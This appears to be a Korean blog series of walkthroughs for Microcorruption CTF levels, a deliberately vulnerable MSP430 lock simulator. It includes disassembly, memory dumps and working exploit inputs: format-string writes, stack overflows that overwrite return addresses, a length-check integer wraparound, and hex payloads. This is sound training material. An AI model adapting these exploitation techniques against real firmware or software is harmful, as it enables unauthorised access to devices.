Microcurruption Addis Ababa

11

Microcurruption의 Addis Ababa다.

4482:  3f40 0a00      mov #0xa, r15
4486:  b012 5045      call #0x4550 <putchar>
448a:  8193 0000      tst 0x0(sp)
448e:  0324           jz #0x4496 <main+0x5e>
4490:  b012 da44      call #0x44da <unlock_door>

ret를 변조하는 문제가 아니다. r15에 0xa를 넣고 xor r15, r15해서 zero-flag가 0이면 unlock_door 함수를 호출하는 구조다. 즉 r15와 비교하는 현재 그 당시의 sp 주소에 0xa가 들어있다면 unlock_door 함수가 호출된다.

446a:  b012 de46      call #0x46de <strcpy>
446e:  3f40 0024      mov #0x2400, r15
4472:  b012 b044      call #0x44b0 <test_password_valid>
4476:  814f 0000      mov r15, 0x0(sp)
447a:  0b12           push r11
447c:  b012 c845      call #0x45c8 <printf>

지금까지 워게임 흐름상 printf 함수가 있으니 이 문제는 format string bug라고 거의 90%이상 확신했다(그러면 안되지만) . fsb도 어깨넘어로만 들어서 열심히 포스팅한걸 검색해서 보면서 익혔다. 뭐 사실 나는 printf(buf); 이런식으로 코딩을 해본적이 없어서 희안하긴했다.

3c60:   0100 ce44 7d00 0024 6a3c 0024 0000 XXXX   ...D}..$j<.$..r<
3c70:   0000 703c 2563 6161 6161 6161 6161 256e   ..p<%caaaaaaaa%n
3c80:   0000 0000 0000 0000 0000 0000 0000 0000   ................

printf 함수가 실행되기 바로 직전의 sp는 XXXX (0x3C6E)였다. 만약 fsb가 터진다면 sp 기준으로 pop을 세 번 해야 우리가 원하는 위치인 0x3C70에 접근할 수 있으니(push r11 때문에 + 1) 703C%cAAAAAAAAAA%n을 해주면 될 것 같았다. 그런데 딱 실행하는 순간 아래와 같이 변했다.

3c60:   0100 ce44 7d00 0024 6a3c 0024 0000 XXXX   ...D}..$j<.$..r<
3c70:   0c00 703c 2563 6161 6161 6161 6161 256e   ..p<%caaaaaaaa%n
3c80:   0000 0000 0000 0000 0000 0000 0000 0000   ................

아하, %c는 훼이크고 %c까지 문자길이로 인식해야하니 A를 두개 빼주고 페이로드를 맞춰주면,

3c60:   0100 ce44 7d00 0024 6a3c 0024 0000 XXXX   ...D}..$j<.$..r<
3c70:   0a00 703c 2563 6161 6161 6161 6161 256e   ..p<%caaaaaaaa%n
3c80:   0000 0000 0000 0000 0000 0000 0000 0000   ................

0xa가 정확하게 들어간다. 그럼 이제 xor r15, sp 하면 zero-flag가 0이 될테니 unlock_door 함수가 호출된다.

Microcurruption Jakarta

10

Microcurruption의 Jakarta다.

4560 <login>
4560:  0b12           push r11
4562:  3150 deff      add #0xffde, sp
4566:  3f40 8244      mov #0x4482 "Authentication requires a username and password.", r15
456a:  b012 c846      call #0x46c8 <puts>
456e:  3f40 b344      mov #0x44b3 "Your username and password together may be no more than 32 characters.", r15
4572:  b012 c846      call #0x46c8 <puts>
4576:  3f40 fa44      mov #0x44fa "Please enter your username:", r15
457a:  b012 c846      call #0x46c8 <puts>
457e:  3e40 ff00      mov #0xff, r14
4582:  3f40 0224      mov #0x2402, r15
4586:  b012 b846      call #0x46b8 <getsn>
458a:  3f40 0224      mov #0x2402, r15
458e:  b012 c846      call #0x46c8 <puts>
4592:  3f40 0124      mov #0x2401, r15
4596:  1f53           inc r15
4598:  cf93 0000      tst.b 0x0(r15)
459c:  fc23           jnz #0x4596 <login+0x36>
459e:  0b4f           mov r15, r11
45a0:  3b80 0224      sub #0x2402, r11
45a4:  3e40 0224      mov #0x2402, r14
45a8:  0f41           mov sp, r15
45aa:  b012 f446      call #0x46f4 <strcpy>
45ae:  7b90 2100      cmp.b #0x21, r11
45b2:  0628           jnc #0x45c0 <login+0x60>
45b4:  1f42 0024      mov &0x2400, r15
45b8:  b012 c846      call #0x46c8 <puts>
45bc:  3040 4244      br #0x4442 <__stop_progExec__>
45c0:  3f40 1645      mov #0x4516 "Please enter your password:", r15
45c4:  b012 c846      call #0x46c8 <puts>
45c8:  3e40 1f00      mov #0x1f, r14
45cc:  0e8b           sub r11, r14
45ce:  3ef0 ff01      and #0x1ff, r14
45d2:  3f40 0224      mov #0x2402, r15
45d6:  b012 b846      call #0x46b8 <getsn>
45da:  3f40 0224      mov #0x2402, r15
45de:  b012 c846      call #0x46c8 <puts>
45e2:  3e40 0224      mov #0x2402, r14
45e6:  0f41           mov sp, r15
45e8:  0f5b           add r11, r15
45ea:  b012 f446      call #0x46f4 <strcpy>
45ee:  3f40 0124      mov #0x2401, r15
45f2:  1f53           inc r15
45f4:  cf93 0000      tst.b 0x0(r15)
45f8:  fc23           jnz #0x45f2 <login+0x92>
45fa:  3f80 0224      sub #0x2402, r15
45fe:  0f5b           add r11, r15
4600:  7f90 2100      cmp.b #0x21, r15
4604:  0628           jnc #0x4612 <login+0xb2>
4606:  1f42 0024      mov &0x2400, r15
460a:  b012 c846      call #0x46c8 <puts>
460e:  3040 4244      br #0x4442 <__stop_progExec__>
4612:  0f41           mov sp, r15
4614:  b012 5844      call #0x4458 <test_username_and_password_valid>
4618:  0f93           tst r15
461a:  0524           jz #0x4626 <login+0xc6>
461c:  b012 4c44      call #0x444c <unlock_door>
4620:  3f40 3245      mov #0x4532 "Access granted.", r15
4624:  023c           jmp #0x462a <login+0xca>
4626:  3f40 4245      mov #0x4542 "That password is not correct.", r15
462a:  b012 c846      call #0x46c8 <puts>
462e:  3150 2200      add #0x22, sp
4632:  3b41           pop r11
4634:  3041           ret

이제 문제를 풀다보니 버퍼에 제한이 걸리면 무조건 꽉채워보는 습관이 생긴 것 같다. 이렇게 하면 안되지만 어쨋든 분석해보면 문자열의 길이를 비교하는 부분이 있다.

r11 = 입력한 문자열의 길이 (0x20 = 32)
45c8:  3e40 1f00      mov #0x1f, r14
45cc:  0e8b           sub r11, r14
45ce:  3ef0 ff01      and #0x1ff, r14

합쳐서 32글자라고 했으니깐 한번 입력에 32만큼 입력하면 어떻게 되는지 쭉 분석하다가 보니깐 다음 입력의 길이를 구하는 부분에서 0x1f - 0x20 = -1 (0xffff)가 되고 음 뭐지? 하다가 0x01ff랑 and 연산을 해서 다음 입력의 길이로 사용되었다. 이거의 경우 ULONG으로 for문을 돌다보면 FFFF를 넘어가는 순간에 다시 0으로 되어 무한루프가 발생하는 코드를 작성했었던 참사가 있어서 잘 알고 있다. 같은 케이스다. 길이를 검사하는 구간에서는 cmp.b라서 0x20을 0x120으로 인식시켜주면 우회할 수 있는데, 이미 전에 0x20을 꽉채웠으니깐 0x100만큼만 입력해주면 0x120이 된다. 0x120만큼 쓰레기 데이터를 입력해주면 된다.

3fe0:   7846 0100 7846 0300 ec46 0000 0a00 2000   xF..xF...F.... .
3ff0:   2e46 6161 6161 6161 6161 6161 6161 6161   .Faaaaaaaaaaaaaa
4000:   6161 6161 6161 6161 6161 6161 6161 6161   aaaaaaaaaaaaaaaa
4010:   6161 6262 6262 XXXX 6262 6262 6262 6262   aabbbbbbbbbbbbbb

ret를 sp가 XXXX를 가리키고 있었고, XXXX를 unlock_door 주소로 덮어주면 된다.

 

Microcurruption Santa Cruz

9

Microcurruption의 Santa Cruz다.

444a <unlock_door>
444a:  3012 7f00      push #0x7f
444e:  b012 c446      call #0x46c4 <INT>
4452:  2153           incd sp
4454:  3041           ret

일단 코드가 또 느낌이 강제로 저 흐름으로 넘겨주면 될 것 같다. 계속해서 봐보자.

4550 <login>
4550:  0b12           push r11
4552:  0412           push r4
4554:  0441           mov sp, r4
4556:  2452           add #0x4, r4
4558:  3150 d8ff      add #0xffd8, sp
455c:  c443 faff      mov.b #0x0, -0x6(r4)
4560:  f442 e7ff      mov.b #0x8, -0x19(r4)
4564:  f440 1000 e8ff mov.b #0x10, -0x18(r4)
456a:  3f40 8444      mov #0x4484 "Authentication now requires a username and password.", r15
456e:  b012 2847      call #0x4728 <puts>
4572:  3f40 b944      mov #0x44b9 "Remember: both are between 8 and 16 characters.", r15
4576:  b012 2847      call #0x4728 <puts>
457a:  3f40 e944      mov #0x44e9 "Please enter your username:", r15
457e:  b012 2847      call #0x4728 <puts>
4582:  3e40 6300      mov #0x63, r14
4586:  3f40 0424      mov #0x2404, r15
458a:  b012 1847      call #0x4718 <getsn>
458e:  3f40 0424      mov #0x2404, r15
4592:  b012 2847      call #0x4728 <puts>
4596:  3e40 0424      mov #0x2404, r14
459a:  0f44           mov r4, r15
459c:  3f50 d6ff      add #0xffd6, r15
45a0:  b012 5447      call #0x4754 <strcpy>
45a4:  3f40 0545      mov #0x4505 "Please enter your password:", r15
45a8:  b012 2847      call #0x4728 <puts>
45ac:  3e40 6300      mov #0x63, r14
45b0:  3f40 0424      mov #0x2404, r15
45b4:  b012 1847      call #0x4718 <getsn>
45b8:  3f40 0424      mov #0x2404, r15
45bc:  b012 2847      call #0x4728 <puts>
45c0:  0b44           mov r4, r11
45c2:  3b50 e9ff      add #0xffe9, r11
45c6:  3e40 0424      mov #0x2404, r14
45ca:  0f4b           mov r11, r15
45cc:  b012 5447      call #0x4754 <strcpy>
45d0:  0f4b           mov r11, r15
45d2:  0e44           mov r4, r14
45d4:  3e50 e8ff      add #0xffe8, r14
45d8:  1e53           inc r14
45da:  ce93 0000      tst.b 0x0(r14)
45de:  fc23           jnz #0x45d8 <login+0x88>
45e0:  0b4e           mov r14, r11
45e2:  0b8f           sub r15, r11
45e4:  5f44 e8ff      mov.b -0x18(r4), r15
45e8:  8f11           sxt r15
45ea:  0b9f           cmp r15, r11
45ec:  0628           jnc #0x45fa <login+0xaa>
45ee:  1f42 0024      mov &0x2400, r15
45f2:  b012 2847      call #0x4728 <puts>
45f6:  3040 4044      br #0x4440 <__stop_progExec__>
45fa:  5f44 e7ff      mov.b -0x19(r4), r15
45fe:  8f11           sxt r15
4600:  0b9f           cmp r15, r11
4602:  062c           jc #0x4610 <login+0xc0>
4604:  1f42 0224      mov &0x2402, r15
4608:  b012 2847      call #0x4728 <puts>
460c:  3040 4044      br #0x4440 <__stop_progExec__>
4610:  c443 d4ff      mov.b #0x0, -0x2c(r4)
4614:  3f40 d4ff      mov #0xffd4, r15
4618:  0f54           add r4, r15
461a:  0f12           push r15
461c:  0f44           mov r4, r15
461e:  3f50 e9ff      add #0xffe9, r15
4622:  0f12           push r15
4624:  3f50 edff      add #0xffed, r15
4628:  0f12           push r15
462a:  3012 7d00      push #0x7d
462e:  b012 c446      call #0x46c4 <INT>
4632:  3152           add #0x8, sp
4634:  c493 d4ff      tst.b -0x2c(r4)
4638:  0524           jz #0x4644 <login+0xf4>
463a:  b012 4a44      call #0x444a <unlock_door>
463e:  3f40 2145      mov #0x4521 "Access granted.", r15
4642:  023c           jmp #0x4648 <login+0xf8>
4644:  3f40 3145      mov #0x4531 "That password is not correct.", r15
4648:  b012 2847      call #0x4728 <puts>
464c:  c493 faff      tst.b -0x6(r4)
4650:  0624           jz #0x465e <login+0x10e>
4652:  1f42 0024      mov &0x2400, r15
4656:  b012 2847      call #0x4728 <puts>
465a:  3040 4044      br #0x4440 <__stop_progExec__>
465e:  3150 2800      add #0x28, sp
4662:  3441           pop r4
4664:  3b41           pop r11
4666:  3041           ret

이전과 동일하게 strcpy로 오버플로우를 할 수 있는데, 나름대로 핵심은 아래 두 줄이다.

45e4:  5f44 e8ff      mov.b -0x18(r4), r15
45fa:  5f44 e7ff      mov.b -0x19(r4), r15

username / password 입력을 통해 최대 값과 현재 길이를 가지고 버퍼의 크기가 여유로운지, password 길이는 일치하는지 이런 것들을 검사하는데 조건에 만족하지 않으면 그냥 냅다 뒤져버린다. 그래서 어찌어찌 잘 맞춰줘서 끝까지 왔는데 마지막에 이런 것이 있다.

464c:  c493 faff      tst.b -0x6(r4)
4650:  0624           jz #0x465e <login+0x10e>
4652:  1f42 0024      mov &0x2400, r15
4656:  b012 2847      call #0x4728 <puts>
465a:  3040 4044      br #0x4440 <__stop_progExec__>
465e:  3150 2800      add #0x28, sp
4662:  3441           pop r4
4664:  3b41           pop r11
4666:  3041           ret

아니, ret를 덮어야되는데 password null check를 해서 또 뒤져버리게 한다. 일단 첫 번째 오버플로우에서 다 셋팅해놓고 두 번째 조건까지 만족할 수 있도록 겹쳐서 덮어버리면 뒤지지 않고 ret를 덮을 수 있다.

Microcurruption Johannesburg

8

Microcurruption의 Johannesburg다.

문제를 읽어보면 Lockitall LOCKIT PRO r b.04라고 되어있다. 사용자 매뉴얼을 열었다.

#include<io.c>
#include<lib.c>
int main(void){
 char ∗pw = ‘‘password’’;
 char buf[16];
 char ∗ptr = buf;
 puts(‘‘Whatisthepassword?’’);
 gets(buf,15);
 while(∗pw && ∗buf)
  if(∗pw++ != ∗buf++)
            return 1;
 if(∗pw != ∗buf)
        return 1;
 INT(0x7F);    
 return0;
}

코드 자체는 입력 받은 값과 같은지 비교해서 문을 열어준다고 되어있다. 예상했던 것과 같이 길이 검사를 하는 부분이 있는데 길이가 같은지 검사하는 JEQ (JZ) 명령어를 통과할 수 있게 5C로 맞춰주고 ret를 unlock_door로 맞춰주면 열린다.

61616161616161616161616161616161615C4644

 

Microcurruption Montevideo

7

Microcurruption의 Montevideo다.

44f4 <login>
44f4:  3150 f0ff      add #0xfff0, sp
44f8:  3f40 7044      mov #0x4470 "Enter the password to continue.", r15
44fc:  b012 b045      call #0x45b0 <puts>
4500:  3f40 9044      mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504:  b012 b045      call #0x45b0 <puts>
4508:  3e40 3000      mov #0x30, r14
450c:  3f40 0024      mov #0x2400, r15
4510:  b012 a045      call #0x45a0 <getsn>
4514:  3e40 0024      mov #0x2400, r14
4518:  0f41           mov sp, r15
451a:  b012 dc45      call #0x45dc <strcpy>
451e:  3d40 6400      mov #0x64, r13
4522:  0e43           clr r14
4524:  3f40 0024      mov #0x2400, r15
4528:  b012 f045      call #0x45f0 <memset>
452c:  0f41           mov sp, r15
452e:  b012 4644      call #0x4446 <conditional_unlock_door>
4532:  0f93           tst r15
4534:  0324           jz #0x453c <login+0x48>
4536:  3f40 c544      mov #0x44c5 "Access granted.", r15
453a:  023c           jmp #0x4540 <login+0x4c>
453c:  3f40 d544      mov #0x44d5 "That password is not correct.", r15
4540:  b012 b045      call #0x45b0 <puts>
4544:  3150 1000      add #0x10, sp
4548:  3041           ret

whitehorse와 똑같이 풀 수 있다. 다만 다른 점은 strcpy로 오버플로우를 한다는 점이다. 인증 키 까지 똑같다. login 함수의 ret를 0x7f 인터럽트의 주소로 바꿔주고 0x7f00으로 인자를 맞춰주면 된다.

 

Microcorruption Whitehorse

6

Microcorruption의 Whitehorse다.

4438 <main>
4438:  b012 f444      call #0x44f4 <login>

일단 main은 한줄이고, login 함수를 호출한다.

44f4 <login>
44f4:  3150 f0ff      add #0xfff0, sp
44f8:  3f40 7044      mov #0x4470 "Enter the password to continue.", r15
44fc:  b012 9645      call #0x4596 <puts>
4500:  3f40 9044      mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504:  b012 9645      call #0x4596 <puts>
4508:  3e40 3000      mov #0x30, r14
450c:  0f41           mov sp, r15
450e:  b012 8645      call #0x4586 <getsn>
4512:  0f41           mov sp, r15
4514:  b012 4644      call #0x4446 <conditional_unlock_door>
4518:  0f93           tst r15
451a:  0324           jz #0x4522 <login+0x2e>
451c:  3f40 c544      mov #0x44c5 "Access granted.", r15
4520:  023c           jmp #0x4526 <login+0x32>
4522:  3f40 d544      mov #0x44d5 "That password is not correct.", r15
4526:  b012 9645      call #0x4596 <puts>
452a:  3150 1000      add #0x10, sp
452e:  3041           ret

이번에도 비슷하다. 8~16 사이 값이 패스워드고 r14는 입력 버퍼의 크기 0x30 (최대 48글자) , r15가 입력 버퍼인가보다. 그리고 conditional_unlock_door 함수를 호출해서 r15 값에 따라 문이 열리냐 안열리냐로 구분된다. 근데 이전 문제에서도 확인했다시피 내 입력 값으로 r15를 어떻게 조작할 수가 없다. 이번에도 16자 이상을 쭉 채워서 버퍼의 어느 위치가 login 함수의 ret인지 확인한다. ret를 인터럽트 call 주소로 변경해주고 다음 2 Byte에 0x7f 인자를 넣어주면 된다. call은 인자 ret jmp로 실행된다.

6161616161616161616161616161616160447f00

 

Microcorruption Reykjavik

5

Microcorruption의 Reykjavik이다.

4438 <main>
4438:  3e40 2045      mov #0x4520, r14
443c:  0f4e           mov r14, r15
443e:  3e40 f800      mov #0xf8, r14
4442:  3f40 0024      mov #0x2400, r15
4446:  b012 8644      call #0x4486 <enc>
444a:  b012 0024      call #0x2400
444e:  0f43           clr r15

시작은 break main이다.

막 이것저것 어디서 줏어들은게 많다보니 그냥 대충 느낌은 0x2400를 r15에 넣고 enc를 한 다음에 call 0x2400을 하는 것을 보니 뭔가 encryption을 한 다음에 호출하는구나를 알 수 있다. 실제로 call #0x2400에 break를 걸고 실행해보면 password를 입력 받는 창이 뜬다. 쉘코드다. encryption이 다 끝난 버퍼를 긁어서 사이트에 있는 disassemble했다.

0b12 0412 0441 2452 3150 e0ff 3b40 2045 073c 1b53 8f11 0f12 0312 b012 6424 2152 6f4b 4f93 f623 3012 0a00 0312 b012 6424 2152 3012 1f00 3f40 dcff 0f54 0f12 2312 b012 6424 3150 0600 b490 c7ff dcff 0520 3012 7f00 b012 6424 2153 3150 2000 3441 3b41 3041 1e41 0200 0212 0f4e 8f10 024f 32d0 0080 b012 1000 3241 3041 d21a 189a 22dc 45b9 4279 2d55 858e a4a2 67d7 14ae a119 76f6 42cb 1c04 0efa a61b 74a7 416b d237 a253 22e4 66af c1a5 938b 8971 9b88 fa9b 6674 4e21 2a6b b143 9151 3dcc a6f5 daa7 db3f 8d3c 4d18 4736 dfa6 459a 2461 921d 3291 14e6 8157 b0fe 2ddd 400b 8688 6310 3ab3 612b 0bd9 483f 4e04 5870 4c38 c93c ff36 0e01 7f3e fa55 aeef 051c 242c 3c56 13af e57b 8abf 3040 c537 656e 8278 9af9 9d02 be83 b38c e181 3ad8 395a fce3 4f03 8ec9 9395 4a15 ce3b fd1e 7779 c9c3 5ff2 3dc7 5953 8826 d0b5 d9f8 639e e970 01cd 2119 ca6a d12c 97e2 7538 96c5 8f28 d682 1be5 ab20 7389 48aa 1fa3 472f a564 de2d b710 9081 5205 8d44 cff4 bc2e 577a d5f4 a851 c243 277d a4ca 1e6b 0000 0000

어디서부터 잘라야 할지 몰라서 일단 다 긁었다. 사이즈는 0xf8이니깐 그냥 내 생각엔 0x24f8까지가 의미있는 쉘코드 같았지만 그건 분석해봐야 알 것 같다.

0b12           push r11
0412           push r4
0441           mov sp, r4
2452           add #0x4, r4
3150 e0ff      add #0xffe0, sp
3b40 2045      mov #0x4520, r11
073c           jmp $+0x10
1b53           inc r11
8f11           sxt r15
0f12           push r15
0312           push #0x0
b012 6424      call #0x2464
2152           add #0x4, sp
6f4b           mov.b @r11, r15
4f93           tst.b r15
f623           jnz $-0x12
3012 0a00      push #0xa
0312           push #0x0
b012 6424      call #0x2464
2152           add #0x4, sp
3012 1f00      push #0x1f
3f40 dcff      mov #0xffdc, r15
0f54           add r4, r15
0f12           push r15
2312           push #0x2
b012 6424      call #0x2464
3150 0600      add #0x6, sp
b490 c7ff dcff cmp #0xffc7, -0x24(r4)
0520           jnz $+0xc    
3012 7f00      push #0x7f
b012 6424      call #0x2464
2153           incd sp
3150 2000      add #0x20, sp
3441           pop r4
3b41           pop r11
3041           ret

1e41 0200      mov 0x2(sp), r14
0212           push sr
0f4e           mov r14, r15
8f10           swpb r15
024f           mov r15, sr
32d0 0080      bis #0x8000, sr
b012 1000      call #0x10
3241           pop sr
3041           ret

핵심은,

cmp #0xffc7, -0x24(r4)

이 명령어인데, r4에서 -0x24 위치는 입력 버퍼의 위치고 입력한 값이 0xc7ff 랑 비교해서 맞는지 비교해서 문을 열어준다. 이 문제는 쉘코드라는 그 느낌을 인지할 수 있는지, 메모리에 hardware-bp를 설정하면서 그 흐름 자체를 이해할 수 있는지에 대해 물어보는 것 같다. 단순히 문을 열기 위해 비교하는 구문은 단 한줄에서 끝나기 때문이다.

Microcurruption Addis Ababa

11 Microcurruption의 Addis Ababa다. 4482: 3f40 0a00 mov #0xa, r15 4486: b012 5045 call #0x4550 <putchar> 448a: 8193 0...